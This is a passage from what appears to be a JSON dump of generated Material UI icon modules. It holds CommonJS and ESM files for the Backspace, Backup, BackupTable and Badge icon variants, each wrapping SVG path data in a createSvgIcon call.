    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.06 5 2.4 12l4.67 7H22V5zq.015 0 0 0M9 8.41 10.41 7 14 10.59 17.59 7 19 8.41 15.41 12 19 15.59 17.59 17 14 13.41 10.41 17 9 15.59 12.59 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L0 12l5.41 8.11c.36.53.9.89 1.59.89h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7.07L2.4 12l4.66-7H22zm-11.59-2L14 13.41 17.59 17 19 15.59 15.41 12 19 8.41 17.59 7 14 10.59 10.41 7 9 8.41 12.59 12 9 15.59z\"\n}, \"1\")], 'BackspaceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Backup.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M14 13v4h-4v-4H7l5-5 5 5z\"\n}), 'Backup');"
  },
  {
    "path": "packages/mui-icons-material/lib/Backup.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M14 13v4h-4v-4H7l5-5 5 5z\"\n}), 'Backup');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3M8 13h2.55v3h2.9v-3H16l-4-4z\"\n}), 'BackupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3M8 13h2.55v3h2.9v-3H16l-4-4z\"\n}), 'BackupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11c0-3.87-3.13-7-7-7-3.22 0-5.93 2.18-6.74 5.15C2.82 9.71 1 11.89 1 14.5 1 17.54 3.46 20 6.5 20h12c2.49-.01 4.5-2.03 4.5-4.52 0-2.33-1.75-4.22-4-4.48m-6 2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H9.21c-.45 0-.67-.54-.35-.85l2.79-2.79c.2-.2.51-.2.71 0l2.79 2.79c.31.31.09.85-.35.85z\"\n}), 'BackupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11c0-3.87-3.13-7-7-7-3.22 0-5.93 2.18-6.74 5.15C2.82 9.71 1 11.89 1 14.5 1 17.54 3.46 20 6.5 20h12c2.49-.01 4.5-2.03 4.5-4.52 0-2.33-1.75-4.22-4-4.48m-6 2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H9.21c-.45 0-.67-.54-.35-.85l2.79-2.79c.2-.2.51-.2.71 0l2.79 2.79c.31.31.09.85-.35.85z\"\n}), 'BackupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M14 13v4h-4v-4H7l5-5 5 5z\"\n}), 'BackupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M14 13v4h-4v-4H7l5-5 5 5z\"\n}), 'BackupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupTable.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6v14H6v2h14c1.1 0 2-.9 2-2V6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 16H4v-5h5zm7 0h-5v-5h5zm0-7H4V4h12z\"\n}, \"1\")], 'BackupTable');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupTable.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6v14H6v2h14c1.1 0 2-.9 2-2V6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 16H4v-5h5zm7 0h-5v-5h5zm0-7H4V4h12z\"\n}, \"1\")], 'BackupTable');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupTableOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6v14H6v2h14c1.1 0 2-.9 2-2V6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 16H4v-5h5zm7 0h-5v-5h5zm0-7H4V4h12z\"\n}, \"1\")], 'BackupTableOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupTableOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6v14H6v2h14c1.1 0 2-.9 2-2V6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 16H4v-5h5zm7 0h-5v-5h5zm0-7H4V4h12z\"\n}, \"1\")], 'BackupTableOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupTableRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7v13h13c.55 0 1 .45 1 1s-.45 1-1 1H4c-1.1 0-2-.9-2-2V7c0-.55.45-1 1-1s1 .45 1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 4v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2m9 7h5v5h-5zm-7 0h5v5H8zm0-7h12v5H8z\"\n}, \"1\")], 'BackupTableRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupTableRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7v13h13c.55 0 1 .45 1 1s-.45 1-1 1H4c-1.1 0-2-.9-2-2V7c0-.55.45-1 1-1s1 .45 1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 4v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2m9 7h5v5h-5zm-7 0h5v5H8zm0-7h12v5H8z\"\n}, \"1\")], 'BackupTableRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupTableSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6v14H6v2h16V6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H2v16h16zM9 16H4v-5h5zm7 0h-5v-5h5zm0-7H4V4h12z\"\n}, \"1\")], 'BackupTableSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupTableSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6v14H6v2h16V6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H2v16h16zM9 16H4v-5h5zm7 0h-5v-5h5zm0-7H4V4h12z\"\n}, \"1\")], 'BackupTableSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupTableTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11h5v5h-5zm-7 0h5v5H4zm0-7h12v5H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6v14H6v2h14c1.1 0 2-.9 2-2V6z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2M4 4h12v5H4zm5 12H4v-5h5zm2-5h5v5h-5z\"\n}, \"2\")], 'BackupTableTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupTableTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11h5v5h-5zm-7 0h5v5H4zm0-7h12v5H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6v14H6v2h14c1.1 0 2-.9 2-2V6z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2M4 4h12v5H4zm5 12H4v-5h5zm2-5h5v5h-5z\"\n}, \"2\")], 'BackupTableTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.21 12.04-1.53-.11-.3-1.5C16.88 7.86 14.62 6 12 6 9.94 6 8.08 7.14 7.12 8.96l-.5.95-1.07.11C3.53 10.24 2 11.95 2 14c0 2.21 1.79 4 4 4h13c1.65 0 3-1.35 3-3 0-1.55-1.22-2.86-2.79-2.96m-5.76.96v3h-2.91v-3H8l4-4 4 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3M8 13h2.55v3h2.9v-3H16l-4-4z\"\n}, \"1\")], 'BackupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackupTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.21 12.04-1.53-.11-.3-1.5C16.88 7.86 14.62 6 12 6 9.94 6 8.08 7.14 7.12 8.96l-.5.95-1.07.11C3.53 10.24 2 11.95 2 14c0 2.21 1.79 4 4 4h13c1.65 0 3-1.35 3-3 0-1.55-1.22-2.86-2.79-2.96m-5.76.96v3h-2.91v-3H8l4-4 4 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3M8 13h2.55v3h2.9v-3H16l-4-4z\"\n}, \"1\")], 'BackupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Badge.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M9 12c.83 0 1.5.67 1.5 1.5S9.83 15 9 15s-1.5-.67-1.5-1.5S8.17 12 9 12m3 6H6v-.75c0-1 2-1.5 3-1.5s3 .5 3 1.5zm1-9h-2V4h2zm5 7.5h-4V15h4zm0-3h-4V12h4z\"\n}), 'Badge');"
  },
  {
    "path": "packages/mui-icons-material/lib/Badge.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M9 12c.83 0 1.5.67 1.5 1.5S9.83 15 9 15s-1.5-.67-1.5-1.5S8.17 12 9 12m3 6H6v-.75c0-1 2-1.5 3-1.5s3 .5 3 1.5zm1-9h-2V4h2zm5 7.5h-4V15h4zm0-3h-4V12h4z\"\n}), 'Badge');"
  },
  {
    "path": "packages/mui-icons-material/lib/BadgeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 12h4v1.5h-4zm0 3h4v1.5h-4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-9 0V4h2v5h-2zm9 13H4V9h5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2h5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.08 16.18c-.64-.28-1.34-.43-2.08-.43s-1.44.15-2.08.43c-.56.24-.92.78-.92 1.39V18h6v-.43c0-.61-.36-1.15-.92-1.39\"\n}, \"3\")], 'BadgeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BadgeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 12h4v1.5h-4zm0 3h4v1.5h-4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-9 0V4h2v5h-2zm9 13H4V9h5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2h5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.08 16.18c-.64-.28-1.34-.43-2.08-.43s-1.44.15-2.08.43c-.56.24-.92.78-.92 1.39V18h6v-.43c0-.61-.36-1.15-.92-1.39\"\n}, \"3\")], 'BadgeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BadgeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M9 12c.83 0 1.5.67 1.5 1.5S9.83 15 9 15s-1.5-.67-1.5-1.5S8.17 12 9 12m3 6H6v-.43c0-.6.36-1.15.92-1.39.64-.28 1.34-.43 2.08-.43s1.44.15 2.08.43c.55.24.92.78.92 1.39zm1-9h-2V4h2zm4.25 7.5h-2.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.5c.41 0 .75.34.75.75s-.34.75-.75.75m0-3h-2.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.5c.41 0 .75.34.75.75s-.34.75-.75.75\"\n}), 'BadgeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BadgeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M9 12c.83 0 1.5.67 1.5 1.5S9.83 15 9 15s-1.5-.67-1.5-1.5S8.17 12 9 12m3 6H6v-.43c0-.6.36-1.15.92-1.39.64-.28 1.34-.43 2.08-.43s1.44.15 2.08.43c.55.24.92.78.92 1.39zm1-9h-2V4h2zm4.25 7.5h-2.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.5c.41 0 .75.34.75.75s-.34.75-.75.75m0-3h-2.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.5c.41 0 .75.34.75.75s-.34.75-.75.75\"\n}), 'BadgeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BadgeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7h-7V2H9v5H2v15h20zM9 12c.83 0 1.5.67 1.5 1.5S9.83 15 9 15s-1.5-.67-1.5-1.5S8.17 12 9 12m3 6H6v-.43c0-.6.36-1.15.92-1.39.64-.28 1.34-.43 2.08-.43s1.44.15 2.08.43c.55.24.92.78.92 1.39zm1-9h-2V4h2zm5 7.5h-4V15h4zm0-3h-4V12h4z\"\n}), 'BadgeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BadgeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7h-7V2H9v5H2v15h20zM9 12c.83 0 1.5.67 1.5 1.5S9.83 15 9 15s-1.5-.67-1.5-1.5S8.17 12 9 12m3 6H6v-.43c0-.6.36-1.15.92-1.39.64-.28 1.34-.43 2.08-.43s1.44.15 2.08.43c.55.24.92.78.92 1.39zm1-9h-2V4h2zm5 7.5h-4V15h4zm0-3h-4V12h4z\"\n}), 'BadgeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BadgeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 13.5h4V12h-4zm0 3h4V15h-4zM20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-9-3h2v5h-2zm9 16H4V9h5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2h5zM9 15c.83 0 1.5-.67 1.5-1.5S9.83 12 9 12s-1.5.67-1.5 1.5S8.17 15 9 15m2.08 1.18c-.64-.28-1.34-.43-2.08-.43s-1.44.15-2.08.43c-.56.24-.92.78-.92 1.39V18h6v-.43c0-.61-.36-1.15-.92-1.39\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 11h-2c-1.1 